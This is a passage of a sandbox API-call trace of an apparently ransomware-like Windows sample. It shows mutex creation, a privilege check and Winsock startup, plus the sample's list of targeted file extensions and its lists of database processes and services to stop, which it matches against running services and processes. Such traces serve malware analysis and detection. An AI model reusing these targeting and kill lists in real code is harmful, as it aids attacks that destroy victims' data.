bInheritHandle=0, lpName="Global\\syncronize_E08OEMU") returned 0x0 [0250.774] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_E08OEMU") returned 0x88 [0250.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x543988 | out: hHeap=0x540000) returned 1 [0250.774] lstrlenW (lpString="Global\\syncronize_") returned 18 [0250.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554988 | out: hHeap=0x540000) returned 1 [0250.774] GetVersion () returned 0x1db10106 [0250.774] GetCurrentProcess () returned 0xffffffff [0250.774] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0250.774] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0250.775] CloseHandle (hObject=0x8c) returned 1 [0250.775] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x543988 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x550ea8 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550ea8, Size=0x20) returned 0x5543f0 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5543f0, Size=0x40) returned 0x554988 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554988, Size=0x80) returned 0x554988 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554988, Size=0x100) returned 0x554988 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x34) returned 0x554a90 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x550a98 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x550aa8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x550ab8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x550ea8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x554ad0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x550ec0 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554ad0, Size=0x8) returned 0x554ad0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x550ed8 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554ad0, Size=0x10) returned 0x554ad0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x550ef0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x550f08 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554ad0, Size=0x20) returned 0x554ad0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x550f20 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x550f38 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550a98, Size=0x8) returned 0x550a98 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550aa8, Size=0x8) returned 0x550aa8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x554af8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x550f50 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x554b08 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x550f68 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b08, Size=0x8) returned 0x554b08 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574c60 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b08, Size=0x10) returned 0x554b08 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574c78 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x554b20 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b08, Size=0x20) returned 0x554b30 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550a98, Size=0x10) returned 0x554b08 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550aa8, Size=0x10) returned 0x554b58 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x550a98 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574c90 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x550aa8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574ca8 [0250.775] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x550aa8, Size=0x8) returned 0x550aa8 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x554b70 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574cc0 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x554b80 [0250.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574cd8 [0250.776] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b80, Size=0x8) returned 0x554b80 [0250.776] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b08, Size=0x20) returned 0x554b90 [0250.776] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554b58, Size=0x20) returned 0x554bb8 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x554b58 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574cf0 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x554be0 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x574d08 [0250.776] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554be0, Size=0x8) returned 0x554be0 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x575048 [0250.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x575068 [0250.776] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0250.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554988 | out: hHeap=0x540000) returned 1 [0250.776] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d38 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d38, Size=0x20) returned 0x5545f8 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x579268 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579268, Size=0x80) returned 0x579268 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579268, Size=0x100) returned 0x579268 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d38 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d38, Size=0x20) returned 0x5545f8 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x579370 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579370, Size=0x80) returned 0x579370 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579370, Size=0x100) returned 0x579370 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574d38 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x579478 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579478, Size=0x8) returned 0x579478 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x579488 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579478, Size=0x10) returned 0x5794a8 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x5794c0 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x5545f8 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5794a8, Size=0x20) returned 0x5794e0 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x554620 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x16) returned 0x579508 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x554648 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x574d68 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x579478 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x579528 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579478, Size=0x8) returned 0x579478 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3c) returned 0x579570 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579478, Size=0x10) returned 0x5794a8 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x5795b8 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x5795d8 [0250.794] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5794a8, Size=0x20) returned 0x5795f8 [0250.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x579620 [0250.794] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0250.795] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579268 | out: hHeap=0x540000) returned 1 [0250.795] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0250.795] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579370 | out: hHeap=0x540000) returned 1 [0250.803] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x579b78 [0251.901] EnumServicesStatusExW (in: hSCManager=0x579b78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0251.908] GetLastError () returned 0xea [0251.908] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc10) returned 0x57d458 [0251.908] EnumServicesStatusExW (in: hSCManager=0x579b78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57d458, cbBufSize=0xc10, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57d458, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0251.914] CloseServiceHandle (hSCObject=0x579b78) returned 1 [0252.097] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.097] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.097] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.097] lstrlenW (lpString="AudioSrv") returned 8 [0252.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0252.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0252.098] lstrlenW (lpString="BFE") returned 3 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.098] lstrlenW (lpString="CryptSvc") returned 8 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.098] lstrlenW (lpString="CscService") returned 10 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0252.098] lstrlenW (lpString="DcomLaunch") returned 10 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.098] lstrlenW (lpString="Dhcp") returned 4 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.098] lstrlenW (lpString="Dnscache") returned 8 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.098] lstrlenW (lpString="DPS") returned 3 [0252.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.098] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.098] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.099] lstrlenW (lpString="eventlog") returned 8 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0252.099] lstrlenW (lpString="EventSystem") returned 11 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.099] lstrlenW (lpString="gpsvc") returned 5 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.099] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.099] lstrlenW (lpString="lmhosts") returned 7 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.099] lstrlenW (lpString="MMCSS") returned 5 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0252.099] lstrlenW (lpString="MpsSvc") returned 6 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.099] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.099] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.099] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.099] lstrlenW (lpString="NlaSvc") returned 6 [0252.099] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.100] lstrlenW (lpString="nsi") returned 3 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.100] lstrlenW (lpString="PlugPlay") returned 8 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.100] lstrlenW (lpString="Power") returned 5 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.100] lstrlenW (lpString="ProfSvc") returned 7 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.100] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.100] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.100] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.100] lstrlenW (lpString="RpcSs") returned 5 [0252.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.101] lstrlenW (lpString="SamSs") returned 5 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.101] lstrlenW (lpString="Schedule") returned 8 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.101] lstrlenW (lpString="SENS") returned 4 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.101] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.101] lstrlenW (lpString="Spooler") returned 7 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.101] lstrlenW (lpString="Themes") returned 6 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.101] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0252.101] lstrlenW (lpString="UxSms") returned 5 [0252.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0252.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0252.101] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0252.102] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0252.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0252.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57d458 | out: hHeap=0x540000) returned 1 [0252.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0252.108] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.108] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.109] lstrlenW (lpString="System") returned 6 [0252.109] 